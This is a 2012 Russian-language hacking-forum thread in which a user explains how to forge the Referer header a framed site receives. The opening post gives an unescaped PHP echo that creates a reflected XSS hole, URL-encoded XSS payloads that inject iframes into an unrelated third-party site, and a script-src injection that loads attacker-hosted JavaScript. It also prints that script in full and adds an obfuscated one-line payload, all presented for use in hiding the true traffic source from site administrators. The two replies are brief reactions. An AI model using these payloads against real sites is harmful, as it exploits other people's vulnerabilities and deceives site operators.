Подмена Referer в Iframe

Discussion in 'PHP' started by scanislav, 20 Sep 2012.

  1. scanislav

    scanislav Elder - Старейшина

    Joined:
    25 Jun 2010
    Messages:
    87
    Likes Received:
    22
    Reputations:
    31
    Вижу, что вопрос волнует публику...

    Итак, пусть есть сайт framer.com, который через iframe включает сайт whatismyreferer.com
    Согласно интернет обычаям, в этом случае whatismyreferer.com получает информацию о включающем сайте в заголовке

    Code:
    Referer: http://framer.com
    А что если мы не хотим светить сайт framer.com, а хотим вместо него подставить совершенно другой сайт X.com?

    Если Х.com тоже принадлежит нам, то все просто: делаем редирект через джаваскрипт или тег meta (прим: редирект через заголовок Location не сработает, он не влияет на значение Referer)

    X.com:
    Code:
    <script>document.location="http://whatismyreferer.com";</script>
    А что если Х.com - это совершенно чужой сайт? Тогда потребуется XSS уязвимость. Скажем так:
    x.com/search.php
    PHP:
    ...
    echo 
    "Query ".$_GET['q']."<br>";
    ...
    Теперь мы можем использовать эту дыру, чтоб вставить на x.com iframe, указывающий на whatismyreferer.com. C точки зрения браузера сайт whatismyreferer.com будет находиться внутри страницы x.com/search.php
    и именно она передастся в качестве реферера.

    Code:
    <iframe src="http://x.com/search.php?q=%3Ciframe%20src%3D'http%3A%2F%2Fwww.whatismyreferer.com%2F'%3E%3C%2Fiframe%3E"></iframe>
    К сожалению, есть одно "но". Кроме адреса страницы, в реферере передастся и наш xss-инжект. Внимательный админ whatismyreferer.com, глянув на параметр q может заподозрить неладное. Хорошо бы поэтому
    избавиться от лишней информации. Для этого используем тот факт, что браузер разрешает менять содержимое айфреймов, если включаемая и включающая страницы располагаются на одном домене (в данном случае x.com).

    Поэтому мы можем сначала создать iframe, указывающий на безобидную страницу на сайте x.com (пусть это будет /index.php) , а потом джаваскриптом подменить его содержимое на еще один iframe, который будет
    уже указывать на требуемый сайт whatismyreferer.com . Браузер не заметит подмены и передаст
    Code:
    Referer: http://x.com/index.php
    Один вариант, самый понятный - вынести создание iframe в отдельный джаваскриптовский файл и включать его через xss

    framer.com
    Code:
    <iframe src="http://x.com/search.php?q=%3Cscript%20src=http://framer.com/iframer.js%3E%3C/script%3E"></iframe>
    framer.com/iframer.js
    Code:
    function onLoadIframe() {
      var doc = this.contentDocument || this.contentWindow.document;
      var ifr2 = createIframe(doc);
      ifr2.src="http://www.whatismyreferer.com";
      doc.body.innerHTML='';
      doc.body.appendChild(ifr2);
    }
    
    function createIframe(doc) {
      var ifr = doc.createElement('iframe');
      ifr.style.width="100%";
      ifr.style.height="100%";
      ifr.style.position="absolute";
      ifr.style.top="0";
      ifr.style.bottom="0";
      ifr.style.left="0";
      ifr.style.right="0";
      ifr.style.margin="0";
      ifr.style.padding="0";
      ifr.style.overflow="hidden";
      return ifr;
    }
    
    var ifr = createIframe(document);
    ifr.onload=onLoadIframe;
    ifr.src="/";
    document.body.appendChild(ifr);
    

    Другой вариант: засунуть все в одну строчку, но тогда придется помучаться с тем, чтоб все правильно парсилось

    Code:
    <iframe src="http://x.com/search.php?q=%3Ciframe%20width=640%20height=480%20src%3D/%20onload%3D%28this.contentWindow.document.body.innerHTML%3Dthis.innerHTML.split%28/xframe/.source%29.join%28this.tagName%29%29%3E%3Cxframe%20src%3Dhttp://www.whatismyreferer.com/%3E%3C/xframe%3E%3C/iframe%3E"></iframe>
    
    Примечание: во многих случаях при попытке инжектить свой код в страницу срабатывает защита от XSS. Методы ее обхода - отдельная большая тема. Я привел простейший случай, когда никаких ограничений нет.
     
    #1 scanislav, 20 Sep 2012
    Last edited: 20 Sep 2012
    1 person likes this.
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Сможешь написать статью по этой теме? У тебя хорошо получается.
     
  3. adenaden

    adenaden New Member

    Joined:
    2 Apr 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    полность. бессполезная тема.
    Это типа такого: способ получить много денег на халяву с любого банкомата. Подходишь к банкомату, суешь кредитку и снимаешь. Есть правда одно но, на карте должны лежать деньги и нужно знать код. Как они там будут это отдельная тема, я всего лишь привел методы......

    Что за бред?